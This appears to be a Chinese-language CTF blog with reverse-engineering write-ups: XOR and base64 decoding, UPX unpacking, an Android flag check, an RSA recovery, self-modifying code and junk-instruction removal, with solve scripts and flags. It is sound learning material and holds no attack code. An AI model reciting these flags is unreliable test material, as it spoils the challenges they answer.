    printf(&byte_40401C);
    return 0;
  }
}
cmp_data = [0x0D, 0x07, 0x1D, 0x25, 0x1D, 0x6E, 0x30, 0x39, 0x2C, 0x3F, 0x2A, 0x2B, 0x32, 0x3F, 0x2A, 0x37, 0x6E, 0x30, 0x30, 0x30, 0x30, 0x2D, 0x01, 0x07, 0x31, 0x2B, 0x01, 0x39, 0x1F, 0x3B, 0x2D, 0x2D, 0x1B, 0x3A, 0x01, 0x0C, 0x6F, 0x39, 0x36, 0x2A, 0x23, 0x15, 0x40]

for i in range(0xd3):
    for j in cmp_data:
        byte = j ^ i;
        print(chr(byte),end="")
    print("\n")

砍树

native 看下面调用str2应该是key

public static native int I0o0I(String str, String str2);

public native String skkkyJNI();

static {
    System.loadLibrary("ezreeeee");
}

根据输入和key进行加密然后和dest cmp,大概是这样的一个逻辑

Read More
post @ 2023-12-28

RE

Reverse入门指北

if ( *(_DWORD *)v7 == 13 )
   sub_401082(aMoectfF1rstSt3, v6);
aMoectfF1rstSt3 db 'moectf{F1rst_St3p_1s_D0ne}',0Ah,0

base_64

pycdc 下载 编译

发现是base64变种

http://web.chacuo.net/netbasex

把索引表复制进去解密拿到flag

UPX!

exeinfope中看到是upx 3.9 脱壳后

for ( j = 0; ; ++j )
  {
    v8 = j;
    v2 = sub_140073829((__int64)inputString);
    if ( v8 >= v2 )
      break;
    inputString[j] ^= 0x67u;
    if ( flag[j] != inputString[j] )
    {
      sub_140073973((__int64)"try again~~");
      sub_1400723F7(0i64);
    }
  }

在这里可以得出只需要将flag全部数据异或上0x67u转ascii码就能拿到flag

data = [
    0x0A, 0x08, 0x02, 0x04, 0x13, 0x01, 0x1C, 0x57, 0x0F, 0x38,
    0x1E, 0x57, 0x12, 0x38, 0x2C, 0x09, 0x57, 0x10, 0x38, 0x2F,
    0x57, 0x10, 0x38, 0x13, 0x08, 0x38, 0x35, 0x02, 0x11, 0x54,
    0x15, 0x14, 0x02, 0x38, 0x32, 0x37, 0x3F
] + [0x46, 0x46, 0x46] + [0x1A] + [0x00] * 0x17

xor_result = [byte ^ 0x67 for byte in data]
ascii_output = ''.join([chr(byte) for byte in xor_result])
print(ascii_output)

Xor

data = [ 0x54,0x56,0x5C,0x5A,0x4D,0x5F,0x42,
         0x60,0x56,0x4C,0x66,0x52,0x57,0x9,0x4E,0x66,0x51,
         0x9,0x4E,0x66,0x4D,0x9
    ,0x66,0x61,0x9,0x6B,0x18,0x44
    ]

xor_result = [byte ^ 0x39 for byte in data]
ascii_output = ''.join([chr(byte) for byte in xor_result])
print(ascii_output)

ANDROID

根据hint1 搜索到button的id

搜到r.id.check找到关键代码

public class MainActivity extends AppCompatActivity {
    char[] enc = {25, 7, 0, 14, 27, 3, 16, '/', 24, 2, '\t', ':', 4, 1, ':', '*', 11, 29, 6, 7, '\f', '\t', '0', 'T', 24, ':', 28, 21, 27, 28, 16};
    char[] key = {'t', 'h', 'e', 'm', 'o', 'e', 'k', 'e', 'y'};

    /* JADX INFO: Access modifiers changed from: protected */
    @Override // androidx.fragment.app.FragmentActivity, androidx.activity.ComponentActivity, androidx.core.app.ComponentActivity, android.app.Activity
    public void onCreate(Bundle bundle) {
        super.onCreate(bundle);
        setContentView(R.layout.activity_main);
        final EditText editText = (EditText) findViewById(R.id.input);
        ((Button) findViewById(R.id.check)).setOnClickListener(new View.OnClickListener() { // from class: com.doctor3.basicandroid.MainActivity.1
            @Override // android.view.View.OnClickListener
            public void onClick(View view) {
                String obj = editText.getText().toString();
                if (obj.length() != 31) {
                    Toast.makeText(MainActivity.this.getApplicationContext(), "长度不对哦", 0).show();
                    return;
                }
                byte[] bytes = obj.getBytes();
                for (int i = 0; i < 31; i++) {
                    if ((bytes[i] ^ MainActivity.this.key[i % MainActivity.this.key.length]) != MainActivity.this.enc[i]) {
                        Toast.makeText(MainActivity.this.getApplicationContext(), "好像有哪里不对", 0).show();
                        return;
                    }
                }
                Toast.makeText(MainActivity.this.getApplicationContext(), "恭喜!回答正确", 0).show();
            }
        });
    }
}
Read More
post @ 2023-12-28

RE

easy_RE

确实是打开就有

flag{we1c0me_to_rev3rse!!}

elf

inputString 先异或然后+16 然后base64encode后和flag cmp,decode后-16 异或就好了

s1 = (char *)base64_encode(v6, v3);
  if ( !strcmp(s1, "VlxRV2t0II8kX2WPJ15fZ49nWFEnj3V8do8hYy9t") )
  
 ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/
_BYTE *__fastcall encode(const char *a1)
{
  size_t v1; // rax
  int v2; // eax
  _BYTE *v4; // [rsp+20h] [rbp-20h]
  int i; // [rsp+28h] [rbp-18h]
  int v6; // [rsp+2Ch] [rbp-14h]

  v1 = strlen(a1);
  v4 = malloc(2 * v1 + 1);
  v6 = 0;
  for ( i = 0; i < strlen(a1); ++i )
  {
    v2 = v6++;
    v4[v2] = (a1[i] ^ 0x20) + 16;
  }
  v4[v6] = 0;
  return v4;
}
import base64

def custom_base64_decode(encoded_str):
    custom_base64_chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
    standard_base64_chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
    translation = str.maketrans(custom_base64_chars, standard_base64_chars)
    return base64.b64decode(encoded_str.translate(translation))

def xor(encoded_bytes):
    decoded_chars = []
    for byte in encoded_bytes:
        char = chr((byte - 16) ^ 0x20)
        decoded_chars.append(char)
    return ''.join(decoded_chars)


encoded_str = "VlxRV2t0II8kX2WPJ15fZ49nWFEnj3V8do8hYy9t"
print(xor(custom_base64_decode(encoded_str)))
flag{D0_4ou_7now_wha7_ELF_1s?}

die查壳是upx4.0.2 , 在这里下载https://github.com/upx/upx/releases

然后upx -d filename 脱壳

for ( i = 0i64; ; ++i )
{
  v4 = &Str1[strlen(Str1)];
  if ( i >= v4 - Str1 )
    break;
  ++Str1[i];
}
if ( !strncmp(Str1, enc, v4 - Str1) )

gmbh|D1ohsbuv2bu21ot1oQb332ohUifG2stuQ[HBMBYZ2fwf2~

大概是吧str1全部++了一边 –回去就好了

flag = "gmbh|D1ohsbuv2bu21ot1oQb332ohUifG2stuQ[HBMBYZ2fwf2~"
flag = [c for c in flag]
for i in range(len(flag)):
    flag[i] = chr(ord(flag[i]) - 1)
    print(flag[i] , end="")
flag{C0ngratu1at10ns0nPa221ngTheF1rstPZGALAXY1eve1}

Segments

shift_f7 打开段视图,然后拼接flag

Read More
post @ 2023-11-29

RE

crackme

运行就拿到flag了?看了一下是upx3.96

babyRe

反编译了一下,大概是这样一个逻辑,rsa

import libnum
from crypto.Util.number import *
flag = 'ISCTF{******************}'
flags = flag.encode()
e = 65537
p = libnum.generate_prime(1024)
q = libnum.generate_prime(1024)
n = p * q
m = bytes_to_long(flags)
c = pow(m, e, n)
output = open('output.txt', 'w')
output.write('p+q =' + str(p + q) + '\n')
output.write('(p+1)*(q+1)=' + str((p + 1) * (q + 1)) + '\n')
output.write('c=' + str(c) + '\n')
output.close()
from sympy import symbols, solve, isprime
from Crypto.Util.number import inverse, long_to_bytes


p_plus_q = 292884018782106151080211087047278002613718113661882871562870811030932129300110050822187903340426820507419488984883216665816506575312384940488196435920320779296487709207011656728480651848786849994095965852212548311864730225380390740637527033103610408592664948012814290769567441038868614508362013860087396409860

p_plus_1_q_plus_1 = 21292789073160227295768319780997976991300923684414991432030077313041762314144710093780468352616448047534339208324518089727210764843655182515955359309813600286949887218916518346391288151954579692912105787780604137276300957046899460796651855983154616583709095921532639371311099659697834887064510351319531902433355833604752638757132129136704458119767279776712516825379722837005380965686817229771252693736534397063201880826010273930761767650438638395019411119979149337260776965247144705915951674697425506236801595477159432369862377378306461809669885764689526096087635635247658396780671976617716801660025870405374520076160
ciphertext = 5203005542361323780340103662023144468501161788183930759975924790394097999367062944602228590598053194005601497154183700604614648980958953643596732510635460233363517206803267054976506058495592964781868943617992245808463957957161100800155936109928340808755112091651619258385206684038063600864669934451439637410568700470057362554045334836098013308228518175901113235436257998397401389511926288739759268080251377782356779624616546966237213737535252748926042086203600860251557074440685879354169866206490962331203234019516485700964227924668452181975961352914304357731769081382406940750260817547299552705287482926593175925396
e = 65537

n = p_plus_1_q_plus_1 - p_plus_q - 1

p, q = symbols('p q')
solutions = solve([p + q - p_plus_q, p*q - n], (p, q))
p, q = [int(sol) for sol in solutions[0] if isprime(sol)]

phi = (p - 1) * (q - 1)
d = inverse(e, phi)

m = pow(ciphertext, d, n)
flag = long_to_bytes(m).decode()
print(flag)

mfx_re

mfx? 搜索了一下,是修改了 upx的特征,把upx! 的字段修改成了mfx!,010edit中把文件里面几个mfx! 修改成upx! 就能用upx -d解压了,readelf -a也能看到符号表

关键逻辑是这里,++一下就好了

puts("The second question is flag = ?");
printf("flag = ");
*(_QWORD *)s = 0LL;
v10 = 0LL;
v11 = 0LL;
v12 = 0LL;
v13 = 0LL;
v14 = 0LL;
v15 = 0;
scanf("%s", s);
strcpy(s2, "HRBSEz84a2`/40,3530,3/``,`560,3/77`a5/c8c3|");
v17 = 0;
v18 = 0;
for ( i = 0; ; ++i )
{
  v3 = i;
  if ( v3 >= strlen(s) )
    break;
  --s[i];
}
strcmp(s, s2);
puts("Now you know your flag!");
flag = r"HRBSEz84a2`/40,3530,3/``,`560,3/77`a5/c8c3|"

for i in range(len(flag)):
    bytes = ord(flag[i]) + 1
    print(chr(bytes),end="")

EasyRe

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char v4[224]; // [rsp+20h] [rbp-60h] BYREF
  char inputString[104]; // [rsp+100h] [rbp+80h] BYREF
  int inputStringLen; // [rsp+168h] [rbp+E8h]
  int i; // [rsp+16Ch] [rbp+ECh]

  _main();
  strcpy(v4, "]P_ISRF^PCY[I_YWERYC");
  memset(&v4[21], 0, 78);
  puts("please input your strings:");
  gets(inputString);
  inputStringLen = strlen(inputString);
  while ( inputString[i] )
  {
    for ( i = 0; i < inputStringLen; ++i )
      v4[i + 112] = inputString[i] ^ 0x11;
  }
  for ( i = 0; i < inputStringLen; ++i )
  {
    if ( v4[i + 112] == 66 || v4[i + 112] == 88 )
      v4[i + 112] = -101 - v4[i + 112];
  }
  for ( i = inputStringLen - 1; i >= 0; --i )
    v4[inputStringLen - i + 111] = v4[i + 112];
  i = 0;
  if ( inputStringLen > 0 )
  {
    if ( v4[i + 112] == v4[i] )
      printf("yes!!!");
    else
      printf("no!!!");
  }
  return 0;
}

可以直接把可见字符丢进去,得到的结果和可见字符构成一个映射表,然后对着找就好了。

v4[i + 112] = -101 - v4[i + 112]; 这个表达式看不太懂,似乎char表达式只会取低位一个字节。

那9B - 66 = 89 9B - 88 = 67,那也就是说89或者67可能是他本身或者是66 88,直接替换一下试试?

flag = [93, 80, 95, 73, 83, 82, 70, 94, 80, 67, 89, 91, 73, 95, 89, 87, 69, 82, 89, 67]


flag = flag[::-1]


for i in range(len(flag)):
    if flag[i] == 89:
        flag[i] = 66
    if flag[i] == 67:
        flag[i] = 88

for i in flag:
    byte = i ^ 0x11
    print(chr(byte),end="")

加上花括号交上去 正确了

easy_z3

Read More
post @ 2023-11-05

RE

PZthon

发现是python写的,先用 pyinstxtractor解包,然后将PZthon.pyc用pycdc反编译得到源码

# Source Generated with Decompyle++
# File: PZthon.pyc (Python 3.9)


def hello():
    art = '\n              ___                                                                      \n    //   ) )     / /    //   ) )  // | |     / /        // | |  \\ / / \\    / /       \n   //___/ /     / /    //        //__| |    / /        //__| |   \\  /   \\  / /        \n  / ____ /     / /    //  ____  / ___  |   / /        / ___  |   / /     \\/ /         \n //           / /    //    / / //    | |  / /        //    | |  / /\\     / /          \n//           / /___ ((____/ / //     | | / /____/ / //     | | / /  \\   / /           \n                                                                                       \n     / /        //   / / ||   / / //   / /  / /       /__  ___/ ||   / |  / / //   ) ) \n    / /        //____    ||  / / //____    / /          / /     ||  /  | / / //   / /  \n   / /        / ____     || / / / ____    / /          / /      || / /||/ / //   / /   \n  / /        //          ||/ / //        / /          / /       ||/ / |  / //   / /    \n / /____/ / //____/ /    |  / //____/ / / /____/ /   / /        |  /  | / ((___/ /     \n'
    print(art)
    return bytearray(input('Please give me the flag: ').encode())

enc = [
    115,
    121,
    116,
    114,
    110,
    76,
    37,
    96,
    88,
    116,
    113,
    112,
    36,
    97,
    65,
    125,
    103,
    37,
    96,
    114,
    125,
    65,
    39,
    112,
    70,
    112,
    118,
    37,
    123,
    113,
    69,
    79,
    82,
    84,
    89,
    84,
    77,
    76,
    36,
    112,
    99,
    112,
    36,
    65,
    39,
    116,
    97,
    36,
    102,
    86,
    37,
    37,
    36,
    104]
data = hello()
for i in range(len(data)):
    data[i] = data[i] ^ 21
if bytearray(enc) == data:
    print('WOW!!')
else:
    print('I believe you can do it!')
input('To be continue...')

异或一下拿到flag

enc = [
    115,
    121,
    116,
    114,
    110,
    76,
    37,
    96,
    88,
    116,
    113,
    112,
    36,
    97,
    65,
    125,
    103,
    37,
    96,
    114,
    125,
    65,
    39,
    112,
    70,
    112,
    118,
    37,
    123,
    113,
    69,
    79,
    82,
    84,
    89,
    84,
    77,
    76,
    36,
    112,
    99,
    112,
    36,
    65,
    39,
    116,
    97,
    36,
    102,
    86,
    37,
    37,
    36,
    104]

for i in enc:
    print(chr(i ^ 21),end="")

SMC

smc 顾名思义Self-Modifying Code,将代码加密,在运行的时候运行解密的函数,解密加密的代码

这里首先用了一个 VP函数改变了text段的权限,然后通过sub_401042() 里的逻辑,对加密的代码解密,只需要用idapy写一个解密的逻辑,然后转unk类型 转function类型,就能看到加密前的逻辑了

int __cdecl main(int argc, const char **argv, const char **envp)
{
  DWORD *v3; // eax

  v3 = (DWORD *)malloc(0x26u);
  VirtualProtect(&byte_403040, 0x26u, 0x40u, v3);
  puts("Please enter your flag:");
  sub_401025("%s", (char)&unk_4033D4);
  if ( NtCurrentPeb()->BeingDebugged )
  {
    MessageBoxA(0, "Debug Detected!", "Warning!", 0);
    Sleep(0x1388u);
    exit(0);
  }
  sub_401042();
  if ( ((int (__cdecl *)(void *, void *))byte_403040)(&unk_4033D4, &unk_403020) )
    puts("Win!");
  else
    puts("Lose!");
  return system("pause");
}
char sub_401042()
{
  int i; // ecx
  char result; // al

  for ( i = 0; i < 38; ++i )
  {
    result = byte_403068[i & 3];
    byte_403040[i] ^= result;
  }
  return result;
}
import ida_bytes

start_addr = 0x00403040
end_addr = start_addr + 38
xor_data_addr = 0x00403068

# 获取异或数据
xor_data = [ida_bytes.get_byte(xor_data_addr + i) for i in range(4)]

for addr in range(start_addr, end_addr):
    
   	# 获取当前地址的数据
    data = ida_bytes.get_byte(addr)
    
    xor_result = data ^ xor_data[(addr - start_addr) % len(xor_data)]

    ida_bytes.patch_byte(addr, xor_result)

print("success")

操作结束后,将类型先转换成unk ,然后转换成function,就能看到原来的逻辑

char sub_403040()
{
  int v0; // edx

  v0 = 0;
  while ( ((unsigned __int8)inputString[v0] ^ 0x11) + 5 == (unsigned __int8)byte_403020[v0] )
  {
    if ( ++v0 >= 32 )
      return 1;
  }
  return 0;
}

先加五,再异或 0x11 就能拿到flag了

flag = [0x7C, 0x82, 0x75, 0x7B, 0x6F, 0x47, 0x61, 0x57, 0x53, 0x25, 0x47, 0x53, 0x25, 0x84, 0x6A, 0x27, 0x68, 0x27, 0x67, 0x6A, 0x7D, 0x84, 0x7B, 0x35, 0x35, 0x48, 0x25, 0x7B, 0x7E, 0x6A, 0x33, 0x71]

for i in flag:
    byte = (i - 5) ^ 0x11
    print(chr(byte),end="")

Petals

这里有个loc_1209的段 反编译有问题

__int64 __fastcall main(int a1, char **a2, char **a3)
{
  unsigned int v4; // [rsp+Ch] [rbp-4h]

  puts("Here is a pack of flowers, to my best love --- you.");
  puts("But I must check your identity, please input the right passwd");
  __isoc99_scanf("%s", byte_4080);
  v4 = strlen(byte_4080);
  if ( strlen(byte_4080) != 25 )
  {
    puts("Please check your input's format!");
    exit(-1);
  }
  ((void (__fastcall *)(char *, _QWORD))loc_1209)(byte_4080, v4);
  sub_160C(byte_4080, &unk_4020, v4);
  printf("If you are succeed, the flag is flag{md5(your input)}");
  return 0LL;
}

这里有个花指令,call 了一个无效的地址,nop一下,重新打包main function反编译就显示正常了

Read More
⬆︎TOP